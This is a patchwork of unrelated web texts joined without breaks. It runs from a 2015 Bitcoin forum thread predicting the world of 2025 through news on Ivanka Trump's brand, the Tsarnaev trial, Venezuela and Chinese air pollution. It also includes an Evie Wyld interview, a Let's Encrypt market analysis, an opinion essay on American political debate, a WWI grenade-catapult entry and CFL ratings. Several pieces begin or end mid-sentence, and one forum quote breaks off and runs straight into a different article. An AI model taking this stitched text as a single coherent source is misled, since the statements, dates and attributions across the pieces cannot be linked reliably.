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Hero MemberActivity: 546Merit: 500 Re: What will the world look like in 10 years if Bitcoin succeeds? October 15, 2015, 12:36:15 PM #5 Quote from: flix on October 15, 2015, 11:50:49 AM We've had a million predictions of doom, all the bad things that can happen if Bitcoin and Cryptocurrencies spread. We have also had an unending stream of "Bitcoin is dead" and "Bitcoin won't last another year" predictions.
What I would like is to try to imagine a best case scenario of how the world could change for the better if Bitcoin became as popular as e-mail or social networks and billions of people were using it.
So... what is your best case scenario for 2025?
Im thinking the knock on effects of bitcoin and blockchain technology are huge. Look at the social change the internet has caused by changing how we transfer information... Im hoping bitcoin tech can spread into politics and voting systems, if we can get rid of corruption at the core the world will be very different. Im thinking the knock on effects of bitcoin and blockchain technology are huge. Look at the social change the internet has caused by changing how we transfer information... Im hoping bitcoin tech can spread into politics and voting systems, if we can get rid of corruption at the core the world will be very different.
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Hero MemberActivity: 532Merit: 500ESCROW Re: What will the world look like in 10 years if Bitcoin succeeds? October 15, 2015, 12:49:33 PM #8
In the ads, mostly in the digital world but also in the street, billboards etc.
I would be proud that i learned about bitcoin in its early stage, it would be good It will look like Bitcoin everywhere,In the ads, mostly in the digital world but also in the street, billboards etc.I would be proud that i learned about bitcoin in its early stage, it would be good
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LegendaryActivity: 1227Merit: 1000 Re: What will the world look like in 10 years if Bitcoin succeeds? October 15, 2015, 01:07:16 PM
Last edit: October 15, 2015, 01:42:41 PM by flix #10 OK, let me give it a shot....
1. Banks go the way of Newspapers.
They won't disappear, but they change focus to value-added services like lending, intermediation and lose their current massive scale. Many disappear or break up, the most flexible go online for everything and start going after clients in a global way. In 2025 surviving banks are more like those newspapers that have survived the blogging revolution: different business model, focus on quality and brand-recognition and permanently aware that there are a million alternatives out there ready to eat their lunch if they don't treat clients well.
2. Central banks go the way of the Postal Service.
They will still exist, still think that they matter and still perform some functions... but their influence will be hugely reduced. They will be almost universally ignored... just the same way as central bank presidents in dollarised Latin American countries just focus on supervision and fraud prevention and have little to say on monetary policy. In 2025 they will still be able to move interest rates and do QE... but the ease of capital flight to quality and yield will mean that they cannot use these tools as freely as they do now for fear of seeing an immediate reaction in the FX/Crypto markets which negates their intended effects.
3.Taxes will trend to fee-for-services and real estate.
As capital becomes more mobile and it becomes ever easier to escape tax-heavy jurisdictions, governments will tend to tax more heavily assets that cannot be moved (real estate) and also services that they provide (toll-road model). Tax competition will increase... countries and cities will try to become attractive for investors and residents through lower taxes and more choice. The world will look a bit more like Swizerland where taxes are mostly collected and spent at the Canton (regional) level.
4. Africa will become much richer.
As millions of people can suddenly interact directly and get paid by employers in the developed world or receive remittances from their families at zero cost and without their local governments easily confiscating them. Anyone with technical and language skills in Africa who can get online will suddenly be able to compete with US and European workers for jobs and wages. In 2025 people living in extreme poverty will be less than 5% of the world population.
5. More Peace.
The increased difficulty in collecting taxes or printing money for unpopular causes like war will mean that wars last less and are more limited in the harm that they do. We will see tax revolts as a form of anti-war protest, with millions of people refusing to pay VAT or income tax until the government listens to their cries for peace, and rulers will be unable to do anything to persecute such a massive passive, peaceful resistance movement.
6. Technological Renaissance.
As capital accumulation in the technology sector grows and is less stifled by taxes, regulations and monopolies... investment in R&D grows and the rate of technological advance increases. Technological and economic growth see exponential rates last seen in the Industrial Revolution or the Renaissance.
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NewbieActivity: 49Merit: 0 Re: What will the world look like in 10 years if Bitcoin succeeds? October 15, 2015, 01:39:29 PM #19 Quote from: flix on October 15, 2015, 01:07:16 PM OK, let me give it a shot....
1. Banks go the way of Newspapers.
They won't disappear, but they change focus to value-added services like lending, intermediation and lose their current massive scale. Many disappear or break up, the most flexible go online for everything and start going after clients in a global way. In 2025 surviving banks are more like those newspapers that have survived the blogging revolution: different business model, focus on |
Still, all this upset prompts questions: Will some retailers distance themselves from Trump products while others rush to buy up?
At the moment it looks like retailers who carry Ivanka' products will continue to, for the time being; but her brand likely won't be attracting any new vendors.
"At the end of the day, retailers that were already carrying Ivanka Trump are likely to continue to carry it as long as it's justified by sales, but it could be tougher to convince new retailers to add the line, given that most retailers won't see enough up-side to justify the potential controversy," said Goldberg.
An Unclear Future
When considering the editorial letter that Ivanka Trump's site released a few weeks ago, which indicated that Ivanka would be spending more time advocating for women, and less time as the face of her fashion brand on social media channels, it's unclear whether Ivanka Trump will even continue her brand.
If she does want to continue it, her biggest problem is one that some of the trolls are touching upon: the fact that much of her manufacturing takes place outside the U.S, largely in Asia.
"The optics of the President's daughter running a business that primarily manufacturers in Asia is likely to be an ongoing challenge," said Goldberg. "The other wildcard in all this is if Ivanka does in fact move to Washington and takes an active role in her father’s administration.
“In that case, her company could shift from a celebrity brand being run by its founder, to a more arm’s length licensing deal, and that probably makes the company far less valuable."Evie Wyld is most recently the author of All the Birds, Singing.
Author: Evie Wyld
Subjects Discussed: The Call of the Wild as workplace novel, the stability of work in wild environments, physical labor and working in bookstores, coming from a family with a farming background, the engineering mindset, the virtues of being a messy writer, the interest in what we hold back, having to write moments that aren’t revealed to the reader, the dangers of creative pride, how to organize a messy 60,000 words on a floor using scissors and tape, structure and certainty, hating your book, attempts to write linearly and literally, the virtues of an innate rebellious streak, when flashbacks become integral to structure, the many insects within Wyld’s fiction, how horror films are more willing to dramatize the relationship between humans and animals, Jeffrey Lockwood’s The Infested Mind, entomophobia and Western culture, why sharks are misunderstood, Australian insects, Holiday Cigarettes, the autonomy of smoking, attempts to find control over your environment, kangaroos hit by utility trucks, appreciating life by confronting death, why kangaroos are mutinous, dogs vs. kangaroos, animals and social projection, sheep, when kangaroos stop being cute, pet kangaroos, when giving a character a job is the hardest part of fiction, sheep shearing pubs, farming pubs, sheep integrity, Ernest Hemingway, Robert De Niro and Method writing, imagination vs. process writing, getting bogged down in research, notes and memory, characters with palindromic names, bidirectional retreats to the past, how to get around writing boring scenes, romantic notions of writer’s block, why it’s important to write drivel, thinking on the page, despising the manuscript and knowing the moment when it needs to be plucked away, happy nightmares, families of solitary figures, eccentric exercise regimens, the back as a footstool, sheep killing as an ambiguous mystery, the Pulp Fiction briefcase, the appeal of monsters, the pros and cons of setting up reader expectations with a mystery, Stephen King’s It, disappointing endings, why seeing the monster isn’t relevant in storytelling, narrative entitlement, how novelists contend with increasing reader distractions, Arnold Schwarzenegger, the Venn diagram of genre and literary fiction, the advantages of working as a bookseller, Richard Flanagan’s The Narrow Road to the Deep North, Wyld confronting her dead father’s records in the bookstore database, having a healthy suspicion of lists in a BuzzFeed age, Keith Richards’s Life, and the benefits of accidents and coincidences.
EXCERPT FROM SHOW:
Correspondent: I had a rather strange way of entering this rather raucous novel. About three years ago, another critic Matthew Battles and I, we were having this online conversation about The Call of the Wild. And we were both arguing that Jack London’s great novel was actually a workplace novel. Because Buck, he’s forced to contend with the aggressive cubemate, like Spitz, and essentially he has to find individualism and this independent work ethic over the course of his journey. Your book happens to involve two dogs — one of them actually named Dog — and Jake has to learn sheep shearing and driving skills during her journey. Why do you think work became such a dominant part of this novel’s fixation in your efforts to contend with these rather feral environments, both in Australia and in England?
Wyld: Well, I think work is a way of normalizing yourself. It’s a way of getting yourself away from the stuff that’s actually happening in your life. A way of processing it. So I think for Jake, handling sheep is very much who she is. She expresses herself through wrestling with sheep and trying to keep them alive. And she tries to kind of make amends for some of the things in her life by working really, really hard and working very hard at looking after these sheep, trying to keep them alive, failing a lot of the time.
Correspondent: Why do you think it’s tied so much into the idea of existing in this kind of wild environment? That’s the real question. Why work is the defining quality of a naturalistic environment.
Wyld: I think it keeps you sane in some sense. I mean, I certainly find. that lives in the wilds of Peckham, where I am in London, I work very, very hard in the bookshop and I work very hard at writing novels. And I think it’s something to do with, as long as you’re working hard, you feel you’re existing in a way that is worthwhile, in a way that you feel like — sometimes you can feel like you’re very transient and that you’re slightly floating above the earth and you’re not really experiencing anything. And you find that if you actually do something physical to kind of make your mark on the earth, then it has a calming effect, I find.
Correspondent: Do you feel that there’s any difference between working in the wild of a bookstore and working in the rather saner, urban environment of sheep shearing?
Wyld: I think probably a fair amount of difference. I think I really admire physical work. I would love to…
Correspondent: How much physical work have you done?
Wyld: Well, I’ve done absolutely no sheep shearing. I don’t know how physical bookselling is. I lift the books.
Correspondent: It is pretty physical. I mean…
Wyld: Stacking shelves.
Correspondent: Stacking.
Wyld: Dusting. The whole lot.
Correspondent: Moving shelves for author events.
Wyld: Wrestling the odd shoplifter to the ground. That sort of thing. But, yeah, I think my mother’s family are Australian and they’re farmers. So it’s always been something that I have looked on with envy and amazement, really. This amazing, quite masculine work. Actually growing stuff. Actually keeping something alive.
Correspondent: Why didn’t you decide to enter the farming racket?
Wyld: Not sure I’m that talented, to be honest. My Australian family aren’t big readers or big intellectual kind of thinkers. But somehow they’re some of the most intelligent people. They can look at a broken tractor and they can fix it. And I find that incredible. And I don’t have that skill. I don’t have the maths, I think, mainly.
Correspondent: The sort of engineering brain to look upon some casual thing to fix and then you’ll be able to find a solution through a MacGyver situation by putting it back together.
Wyld: Put some oil on it. (laughs)
Correspondent: Yeah. Exactly. Well, the novel here is built on a series of alternating chapters. It’s almost this two-lane highway. You have this forward motion in the present and you also have these backwards chapters that depict Jake’s past. I’m wondering how this structure emerged, first and foremost. But how much of Jake’s background did you plan out in advance or come to know in the act of writing? Just to start off here.
Wyld: Well, I’m a very messy writer.
Correspondent: You need structure.
Wyld: Yeah. I tend to start in the middle and kind of work outwards.
Correspondent: Okay. So you just write all over the place.
Wyld: I just write all over the place and then I get to a point where I’ve written a certain amount of words. And I try and find what the story is, what the arc of the story is. So mostly for me the writing process involves getting to know the character. And for me, that involves their childhood, their family. It doesn’t always enter into the story in the end. But it’s central to me that I can’t understand who someone is unless I know about them before the sort of now of the book. So I’d written about 60,000 words. About a third of the book. Maybe half the book. And then I just realized that I was enjoying her as a character and I was enjoying her life in Australia and in the UK. But it was lacking tension. And there was just something really to be gained by folding it over on itself. And I’m a big fan of playing around with structure, only in terms of furthering the story, only in terms of not just for fun but because it’s so exciting to me when you have two objects that shouldn’t go next to each other and they create a third feeling.
Correspondent: Yeah. Did you find that your sense of Jake deepened when you had this structure in place? That you knew here even more intimately than you could ever possibly anticipate knowing?
Wyld: Yeah. I think so. I think there’s something about somebody who is trying very hard not to think about something that appeals to me and that makes me feel that they’re much more human.
Correspondent: It allows you to get outside of your own head.
Wyld: Exactly.
Correspondent: Because you’re sort of a cerebral person and you need something who isn’t a cerebral person to escape to.
Wyld: Yeah. I think there’s definitely something to be said for the things we hold back. I think they’re more interesting than the things we say a lot of the time.
(Loops for this program provided by danke, ozzi, and 40a. )
The Bat Segundo Show #543: Evie Wyld (Download MP3)
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© 2014, Edward Champion. All rights reserved.BOSTON (AP) — Lawyers for Boston Marathon bombing suspect Dzhokhar Tsarnaev are due in court along with federal prosecutors for a status conference.
A US District Court judge is expected Wednesday to set a schedule for motions to be filed before Tsarnaev’s trial begins in November.
Defense attorneys also are expected to formally file a motion to move his trial from Boston. The lawyers have said they plan to seek a change of venue because of intense media coverage.
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Authorities say Tsarnaev and his older brother, Tamerlan, planted two pressure cooker bombs near the finish of the 2013 marathon, killing three people and injuring more than 260.
Tamerlan Tsarnaev died following a shootout with police. Dzhokhar Tsarnaev has pleaded not guilty to 30 federal charges. He could face the death penalty.Australia faces some tough policy decisions to reshape its economy and prepare for an uncertain future, with predictions that up to five million jobs are likely to be automated by 2030, according to Australia’s Future Workforce report released today by the Committee for Economic Development of Australia (CEDA).
The researchers were looking at the probability of job losses due to computerisation and automation. They found that nearly 40% of Australian jobs that exist today are at risk. They reported an even higher likelihood of job losses in parts of rural and regional Australia, with more than 60% at risk.
These challenges are not confined to Australia, but face every developed economy. It is how we adapt to this technological change that will determine our future economic prosperity, says CEDA’s chief executive, Professor Stephen Martin:
Australia and the world is on the cusp of a new but very different industrial revolution and it is important that we are planning now to ensure our economy does not get left behind.
Going, going, gone
These changes will not arrive overnight. However, within 20 years we are likely to see significant changes in industries that are currently considered safe.
We know that jobs in agriculture, mining and manufacturing have been squeezed in recent years, but sectors that have been relatively immune to technological disruption, such as health, are also coming under pressure.
In an earlier article, I outlined the thinking skills for the future that will be in demand. We have always needed people who can focus their attention on a problem and arrive at creative solutions, and who are not bound by orthodox thinking. We will continue to need them.
Creativity and innovation are not just cliches of the modern age. It is the kind of thinking that learns from history, but which is not bound by it. It sees the patterns of the past and projects them into the future to predict where the world will be in five or ten years.
This is the essence of the kind of thinking that drives innovation: proactively looking ahead and positioning ourselves for when the future arrives, not waiting for it to arrive and being caught flat-footed.
Higher education has its part to play by giving people not just professional and vocational skills, but also the mindset of the innovative change agent – someone who embraces change and does not resist it. This is a learnable skill, if it does not already come naturally. It just requires a willingness to leave one’s comfort zone.
The private sector should be a powerhouse of innovation as it develops new products and services for a changing world and creates employment in the process. But it starts with government; with far-sighted policies that will help us to restructure our economy for a technological future that we would barely recognise today.
Education and innovation policy must be closely linked
In the CEDA report, Martin is scathingly critical of Australia’s apparent lack of commitment to properly funding education and innovation policy. We are, he says, “woefully underfunded compared to global competitors”.
The federal government’s five Industry Growth Centres, announced last year, can and should be making major contributions to meeting the challenges. Yet, as Martin points out, their funding amounts to only A$190 million over four years.
He compares this with the United Kingdom’s Catapult centres, which will receive almost A$3 billion over the same period. Elsewhere in the world, the German Fraunhofer Network, the Netherlands’ Top Sectors Strategy and the United States’ National Network for Manufacturing Innovation all have substantially larger allocations. To underfund is a false economy.
Until we get serious about funding innovation-focused research collaborations between academia and the private sector, we will increasingly fall behind and become less competitive against other countries that recognise the value in funding innovation.
A policy solution from Denmark
The CEDA report recommends the policy framework used by Denmark. Their approach has three aspects that Australia can learn from to good effect:
flexibility around hiring and firing
decent unemployment benefits
seriously good re-skilling programs.
While undoubtedly more expensive, it is arguably a better long-term solution than our current policies are likely to provide. It is investing in the human capital of a nation, taking the view that our people are our most valuable resource.
The emphasis is on educating and re-educating people for the jobs that exist now and which are likely to exist in the future. This proactive approach will keep the emerging, technologically focused economy of the future well supplied with the skilled workers it needs for economic growth.
But won’t dole bludgers send us bankrupt? No, not necessarily. Australia, like Denmark, already has the same values of mutual obligation. Society will look after you, and you have an obligation to contribute in the best way you can.
In Australia, we call this a “fair go”. We are all capable of contributing in some way, and with the proper training we can have the opportunity to do so.
Australia is a resilient nation, its people are resourceful and imaginative. With the technology to network our minds together, there are few problems that cannot be met and overcome.Venezuelan opposition leader Henrique Capriles said the army must decide whether it is "with the constitution or with (President Nicolas)Maduro" (AFP Photo/Juan Barreto)
Caracas (AFP) - Venezuela's opposition leader urged his country on Tuesday to defy a state of emergency decreed by the government as it grapples with an acute political and economic crisis.
Henrique Capriles spoke as the opposition-controlled congress prepared to debate the sweeping measures ordered by President Nicolas Maduro.
He said lawmakers will probably reject Maduro's plan, and that if the government insists the decree remain in force, "it is up to us... to ignore this decree."
That stance is likely to pit the congress not only against the presidency, but also the Supreme Court, which has final say over the legality of the measures.
Many of the Supreme Court judges were appointed during the reign of Maduro's late predecessor, Hugo Chavez, and are seen as loyal to the government.
- Marches planned -
The decree establishing the state of emergency came into force for 60 days on Monday, after Maduro announced it last week.
Its first big test will come on Wednesday when opposition-led marches are to take place nationwide demanding electoral officials validate a referendum to oust Maduro.
Similar marches last week were met by riot police and tear gas.
"If Maduro wants to apply this decree he will have to bring out the warplanes and the tanks into the street, because he will have to apply it through force," Capriles told a news conference.
The decree, he said, was a "barbarity -- Maduro wants to put himself above the constitution, and he isn't."
Venezuela is facing hyperinflation, food and electricity shortages that are sharpening public anger against the unpopular Maduro.
But the president, who controls the levers of power, has rejected all blame for his country's plight.
Instead he says low global oil prices are undermining the economy, a prolonged drought is the cause of energy rationing, and collusion between the United States and Venezuela's wealthy elite is the root cause of political tensions.
And he has alleged foreign media are misrepresenting him and recent developments in Venezuela.
"We are victims of a media, political and diplomatic attack that is behind the most serious threat our country has faced in the past 10 years," he told invited foreign media in a long improvised speech.
Maduro said his country was the target of "imperial interventionism" similar to a "coup" he alleged happened in Brazil last week, when his counterpart Dilma Rousseff was suspended by senators ahead of an impeachment trial.
He said a US military surveillance plane had illegally entered Venezuelan air space last week.
The president has ordered military exercises for Saturday to show Venezuela's ability to see off foreign "armed intervention."
- Deepening crisis -
In his decree, Maduro has given security forces, assisted by local civilian groups, broad authorization to counter "destabilizing actions that mean to disrupt life inside the country or its international relations."
The text also authorizes the state to do what is necessary to ensure supply of basic foods and services and to counter the crippling energy shortage that has resulted in electricity rationing.
The latest developments threaten to deepen the crisis in the oil-rich South American country, whose economy is in its third year of recession.
The United States has described reports of Venezuela's spiral downwards as "breathtaking" but has been careful not to make comments seen as meddlesome.
Individuals, companies and non-governmental organizations in Venezuela with links to foreign groups are to be put under scrutiny and risk having their finances frozen, according to the decree.
The decree also opens the way to businesses being expropriated if they are not seen to be doing enough to supply staple foodstuffs.
Company seizures could notably affect the Polar group, Venezuela's biggest food and beverage company, which halted beer production on April 30, saying it had run out of barley.
Polls suggest seven in 10 Venezuelans want a change of government.
The opposition says it has collected 1.8 million signatures to launch a recall referendum against Maduro.
But the vote must be held before January 10, 2017 in order to trigger new elections, and the opposition accuses the electoral authorities of stalling.
If held any later, a successful recall vote would simply transfer power to Maduro's hand-picked vice president, Aristobulo Isturiz.The impact of Let's Encrypt on the SSL certificate market Posted by Matthias Gelbmann on 26 September 2016 in News, IdenTrust, Let’s Encrypt, SSL Certificate Authorities Summary: Let's Encrypt, the issuer of free SSL certificates, has been expected to disrupt the SSL certificate market. We have a look 10 months after they started their public beta phase. Let's Encrypt certificates used by 3% of all websites If we look at the SSL certificate authorities survey, we find Let's Encrypt way down at rank 14 with 0.1% market share. However, this is misleading. As it takes a while to be included as a trusted authority in most user's browsers, Let's Encrypt certificates are cross-signed by IdenTrust at the moment. The wast majority of Let's Encrypt sites therefore use IdenTrust as root certificate, thus preventing the browser showing confusing warnings to visitors. IdenTrust has been around for a long time, but its SSL certificate market share was pretty much negligible before the Let's Encrypt deal. Therefore, if we look at the IdenTrust statistics, we basically see the Let's Encrypt adoption rate. We see that Let's Encrypt is now used by 3% of all websites, that is an SSL certificate market share of 13.1%, which brings it at rank 3 after Comodo and Symantec. What impact does that have on the SSL certificate market and on its competitors? The SSL certificate market as a whole is growing quickly One remarkable observation from last year's market trend is the fact that most of the other certificate authorities also increased the number of sites they are serving. Comodo, for example, is now used by 9.2% of all sites, up from 5.9% one year ago. The gain from Let's Encrypt primarily comes from sites that did not use a valid SSL certificate before. 30.7% of the websites use no certificate at all now, that share was 37% last year. A remarkable 44.9% (down from 46% last year) of all sites use an invalid certificate, that is a certificate that has been issued for another domain. Most of these invalid certificates are installed by hosting providers as a free service for their customers. Webmasters may use these certificates for testing or for internal use, most sites probably never use them. Interestingly, the number of expired certificates has increased from 0.2% to 0.9% since the start of Let's Encrypt. It seems that a fair number of people request their free certificate, perhaps don't even use it, and let it expire. The fact that Let's Encrypt certificates are valid only for three months, instead of the usual year, certainly plays a role too. The total share of websites that use a valid certificates went up from 16.2% to 23.0%, the whole certificate market is growing quickly. As we have seen above, only less than half of that increase comes from Let's Encrypt certificates, more than half went to other CAs. Nevertheless, webmasters change their certificate provider from time to time, some of the sites that now use Let's Encrypt have used other CAs before. Looking at the technology change report we see that Let's Encrypt gains websites primarily from GlobalSign, followed by Comodo and Symantec. Let's Encrypt certificates used by low-traffic sites Our market position diagram shows another aspect of the market: CAs near to top border of the diagram are primarily used by high traffic sites, whereas CAs near the bottom border are preferred by low traffic sites. It comes as no surprise that IdenTrust, and thus Let's Encrypt, comes at the low-traffic end of the market, as they issue only Domain Validated SSL Certificates at the moment. High-traffic sites often require some form of Extended Validation SSL Certificates, which are more expensive. Furthermore, Let's Encrypt does not yet issue wildcard certificates. France loves Let's Encrypt There are significant regional differences in the adoption of Let's Encrypt. They are market leader in several countries, most notably in France with 46.3% market share. On the other hand, they have hardly started in some Asian countries such as China (3.1% market share), South Korea (1.8%) and Japan (1.5%). Outlook With 77% of all websites not yet using a valid SSL certificate, we can expect Let's Encrypt to continue to grow in the coming years. Once browsers have them listed as trusted authority, we will see them with their own name in our statistics, rather than under the IdenTrust root certificate. Let's Encrypt does not yet hurt other certificate providers, except that they may slow their growth. That may change once the market is more saturated, but it looks like there is still time for the competition to evolve their strategies. You can find much more details in our SSL Certificate Authorities Market Reports. _________________
Please note, that all trends and figures mentioned in that article are valid at the time of writing. Our surveys are updated frequently, and these trends and figures are likely to change over time. Share this page
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Our Book RecommendationA Change of the Debate
The condition of contemporary political dialogue is disgraceful. Rather than debating the issues, American media figures, politicians, and commentators repeat old arguments and report valueless stories. For example, no less than 8,826 news stories were written on our nation’s (so-called) “beer summit.” To be frank, who cares? Is it uplifting? No. Is it encouraging? No. Is it intellectually stimulating? No. Does it matter beyond the clicking of cameras? No.
The political debate today should not be commenced with insults (Obama, “stupid”), race baiting (Professor Gates), or unwarranted accusations (Glenn Beck, Obama is “a racist”). That’s not debate. That’s diatribe.
A Change of the Motive
Essentially, Republicans want you to vote Republican and Democrats want you to vote Democrat. There you have it, that’s the motive. That, however, is the wrong motive. Remember, why do we debate? Ostensibly to determine the best solution. But if ultimately the debate is motivated by party-politics, the actual purpose for debate is negated.
A Change of the Presentation
Television news is a beauty pageant. Talk radio is a shock-jock contest. Blogging is an unending competition between party-liners and ignoramuses. We don’t need the prettiest face in America to report our news. We need the most articulate, intelligent, and proficient individual. We don’t need hate and the party-line to be constantly propagated by the radio waves. We need the facts, the truth, and the solution. We don’t need ignorance and insults to populate the internet. We need reason, principle, and intelligence to be king.
A Change of the Politics
Think of obesity. It is one of the leading causes of preventable death worldwide. Among Americans it is an epidemic. But is it a hot political issue (as it should be)? Of course not. Why should it be, when we can listen to David Letterman make off-color jokes about Sarah Palin’s son who suffers from Down Syndrome?
Think of the environment. Republicans and Democrats disagree over the interpretation of science. Who cares? There are so many other ways that we can protect the environment. Think of recycling, conservation, elimination of hazardous chemicals, compost piles, electronic document conversion, telecommuting, vanpools, solar powered water heaters, the list does not end.
Think of our broken public school system. Think of the potential of school choice. This should not be a political issue. Charter schools. Home schools. Private schools. Religious schools. Statistically all of these outperform their public counterparts. The numbers don’t lie. It is nothing short of hypocrisy to declare support for “progressivism” on the one hand and defend a broken system on the other.
Think of social justice. Our system of foreign aid must be revamped. Rather than making developing countries dependent on American foreign aid, we should concentrate it in areas where it permanently changes entire countries and makes future American aid unnecessary. By spreading American solutions to poor African and Asian countries and encouraging entrepreneurship this can be accomplished.
A Change of the Terms
Both Conservatism and Progressivism are inaccurate ideological descriptions. The Oxford English Dictionary defines Conservative as “a tendency to preserve or keep intact or unchanged.” It is the acme of arrogance to blindly believe the principles, policies, and beliefs of the past are intrinsically better than contemporary beliefs. This is not to disregard the canon of history. Nay, this is to accept the great truth of history””that man is not perfect””and that man must always strive towards the high standard of truth, righteousness, and love.
The same is true of Progressivism. Progress is an empty and unaccountable standard. It can be good or bad. To make decisions in the name of progress is to err. An underlining philosophy must inform progress.
A Change of the Argument
Unbeknownst to many, policy discussions are not simply emotional appeals. There is such thing as history, precedent, philosophy, literature, myth, science, and natural law. Debates should be, and must be, informed by a holistic intellectual approach.
A Change of the Conclusion
The situation in America must change””if it does not””the results will be dire. That much is clear. We must look to the past for the purpose of securing our nation a better future. We must reexamine old ideals, principles, and practices. Today, we proudly proclaim our avant-garde status. But we forget our heritage. We forget history. Jerusalem. Athens. Rome. London. These four cities shaped the American tradition. To ignore the wisdom of the ages is akin to gouging out our nation’s collective eyes.
How Can You be a Catalyst for Change?
Here are some suggestions.
“¢ Turn off the television, end your cable subscription.
“¢ Unsubscribe from your daily newspaper.
“¢ Call talk radio and express your views.
“¢ Write a letter to the editor.
“¢ Don’t let yourself be defined as “progressive,” “Conservative,” “Republican,” or “Democrat.” Recognize that men are in many ways existential.
“¢ Vote according to principle and reason. Not based on party.
“¢ Live what you believe. Believe what you live.
“¢ Read. Research. Remember.
“¢ What’s your suggestion?SHANGHAI, Jan 20 (Reuters) - Air pollution levels fell in most cities in China last year, environmental group Greenpeace said on Wednesday, but a humid and windless winter shrouded swaths of the country in choking smog, slowing improvement in the second half.
Beijing hoisted its first ever “red alerts” on air pollution in December, when a blanket of humid, still air trapped haze over the capital. The episode followed heavy criticism of the government for inaction during a prior bout of hazardous smog.
“Despite Beijing’s choking winter of red alerts, data from 2015 clearly shows a continued positive trend in Beijing and across the country,” said Greenpeace climate and energy campaigner Dong Liansai.
“However, air quality across China is still a major health hazard.”
Annual average levels of PM2.5 - particulate matter of 2.5 micrometers in diameter that can penetrate deep into the lungs - dropped by 10.3 percent last year compared with 2014, Greenpeace said in a report published on Wednesday, citing official data from 189 cities.
In the first half of the year, PM2.5 concentrations were down 16 percent from the corresponding 2014 period, the group had reported.
Decades of growth-at-all-costs economic development in China has spawned massive problems of air, water and soil pollution that the ruling Communist Party has only in recent years begun to tackle.
The challenge is large and the topic sensitive, with thousands of protests sparked every year by concerns about environmental degradation. Uncontrollable environmental factors, such as wind, can also play a role.
Beijing’s fourth-quarter pollution woes were mirrored elsewhere in northern China, where concentrations of PM2.5 were significantly higher than in 2013 and 2014, Greenpeace said.
Even so, Beijing was among roughly 90 percent of the cities Greenpeace analysed where air pollution improved overall last year.
That was a sign the capital’s “serious efforts” to curb pollution were paying off, Dong said.
China has worked to toughen environmental protection laws in recent years. Amended legislation took effect this month giving authorities more power to punish firms and officials responsible for violations.
Some local authorities, including Beijing, have been trying to limit emissions and forcing polluting factories to close or move.
Still, 80 percent of the 366 cities whose data Greenpeace analysed fell short of China’s ambient air quality standards last year, it said.
The national average concentration of PM2.5 was 50.2 parts per cubic metre, exceeding the World Health Organisation’s guideline of an annual average of less than 10 micrograms.
China’s financial hub, Shanghai, was among the cities where air quality worsened in 2015. Its average PM2.5 concentration increased 3.14 percent over the 2014 data, Greenpeace said.
“Greenpeace recommends Shanghai to implement a solid coal consumption cap target and aggressive measures to solve the air pollution problem,” Dong said.The West Spring Gun was a bomb-throwing catapult used by British, Canadian and Australian forces during World War I. It was designed to throw a hand grenade in a high trajectory into enemy trenches.
Description [ edit ]
It consisted of a metal frame supporting a throwing arm powered by 24 metal springs.[1] It was invented by Captain Allen West in 1915 and manufactured by the Reason Manufacturing Company of Brighton, which was granted a patent for the device on 19 October of that year.[1][2] Although called a catapult, it was a hybrid of a ballista and a trebuchet. It required a crew of five - three to compress the springs, one to load the bomb, and one to fire as soon as the fuse was lit or the grenade pin was pulled.[3]
In tests, it could throw Mills bomb about 240 yd (220 m) or a 7 lb (3.2 kg) projectile about 80 yd (73 m) with a flight time of 6 or 7 seconds.[4] In the field it generally threw a Jam Tin Grenade, No. 15 Ball grenade, No. 21 "Spherical" grenade or No. 28 chemical grenade, equipped with a slightly longer fuse (typically 9 seconds) to ensure to reach the enemy trench before exploding.[2] It was used in combat by, amongst others, the 50th (Northumbrian) Division and the 1st Canadian Division in the Second Battle of Ypres and by Australian forces in the Gallipoli Campaign.[2][5] It was generally considered to be large and cumbersome and "generally more unwieldy" than the Leach Trench Catapult.[4] Many operators, including Captain West himself, lost fingers in the mechanism.[1] The throw could also be unpredictable, with the bomb sometimes landing near the thrower.[6]
Production of this and other trench catapults was officially halted in 1916, being replaced by the 2 inch Medium Trench Mortar and Stokes mortar.[7]
Ammunition [ edit ]
No 21 R grenadeThe Canadian Football League says the 105th Grey Cup was its most social yet, with total engagement on Twitter, Facebook and Instagram – including comments, likes and shares – up 17 per cent over last year's game and views of CFL-produced video on those social channels up 58 per cent.
TV audience numbers were higher, too, the league will announce this week, with viewership in the Toronto/Hamilton market up 58 per cent on TSN over last year and the number of viewers in the youth category across the country – ages 2 to 17 – up 48 per cent.
"The under-17 group is a market we've really spent time nurturing with our CFL Football Frenzy video game and our flag-football initiatives, among many other things, so it's so nice to see that translating into results," CFL commissioner Randy Ambrosie said.
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"And the 58-per-cent increase in the Southwestern Ontario market is encouraging. The fans are there, but you have to work really hard in Toronto to get them. We know they like the product, but we've got to double our efforts to go get them to the games. We're pretty much assured with the quality of football the Argos will deliver now, so we have to make everyone in Toronto feel welcome."
The 105th Grey Cup on Nov. 26 was the most watched on TV since 2013, up 10 per cent over last year's game with an average of 4.3 million viewers on TSN and RDS, according to data from audience measurement organization Numeris. Almost 10 million unique viewers watched at least some of the Toronto Argonauts' dramatic 27-24 win over the Calgary Stampeders. More than one in three Canadians watching TV that day tuned in to the game at some point.
The audience peaked at almost six million viewers late in the fourth quarter, as Argos defensive back Matt Black intercepted Bo Levi Mitchell's Hail Mary pass to seal Toronto's championship victory.
Ratings for the divisional finals were up 19 per cent from a year ago, with six million tuning in. Viewership within the Greater Toronto Area that week was up 115 per cent over 2016 – when the Argos finished 5-13 and missed the playoffs.
Viewership for this year's divisional semi-finals were up 7 per cent, with 4.3 million Canadians watching – the best in three years for that round.
After digesting its analytics on digital and social, the CFL said page views on CFL.ca were up 42 per cent during this year's playoffs over last year's, up 19 per cent during Grey Cup week and 12 per cent on Grey Cup Sunday.
"The numbers indicate that Grey Cup is as popular as it ever |
to “Taggart”:
When I hear you talking about taking a swing and taking punches, why do I get the feeling that you’ve never actually taken a punch? Or thrown a punch? I didn’t have that luxury in the part of Boston that I grew up in. But in your rich, suburban Boston life, with your father filling a $100 million trust fund for you, I don’t know, I just get the feeling that things were kind of different for you. Now, I know you’ve got a lot — a lot to be pissed off at these days, starting with the name Taggart, which you got every right to be wicked pissed off at for every day for the 42 years of your life. So, let me try to help you deal with all this aggression you’re feeling right now. You’re mad at President Obama for calling your father a liar? Well, let’s get something straight, he didn’t call your father a liar, I did. The president just said that what your father said isn’t true. I’ve been saying all year that your father is a liar, I’ve repeatedly said that your father lies and is trying to lie his way into the White House. You want to take a swing at someone for calling your old man a liar? Take a swing at me. Come on, come on. And don’t worry, there won’t be any Secret Service involved. Just us. And I’ll make it easy for you, I’ll come to you. Anytime, anywhere.”
